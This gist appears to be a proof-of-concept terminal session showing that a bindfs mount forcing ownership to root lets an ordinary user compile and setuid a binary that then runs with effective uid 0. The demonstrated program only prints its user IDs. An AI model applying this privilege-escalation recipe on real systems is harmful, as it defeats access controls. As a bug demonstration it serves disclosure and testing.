gistfile1.txt

$ sudo bindfs --force-user=1000 --create-for-user=root --create-for-group=root /var/tmp/real /var/tmp/fake
$ cat >/var/tmp/fake/rootme.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int
main (int argc, char **argv)
{
  printf ("getuid () == %u; geteuid () == %u\n", getuid (), geteuid ());
  return 0;
}
$ gcc -o /var/tmp/fake/rootme /var/tmp/fake/rootme.c
$ chmod +s /var/tmp/fake/rootme
$ /var/tmp/real/rootme
getuid () == 1000; geteuid () == 0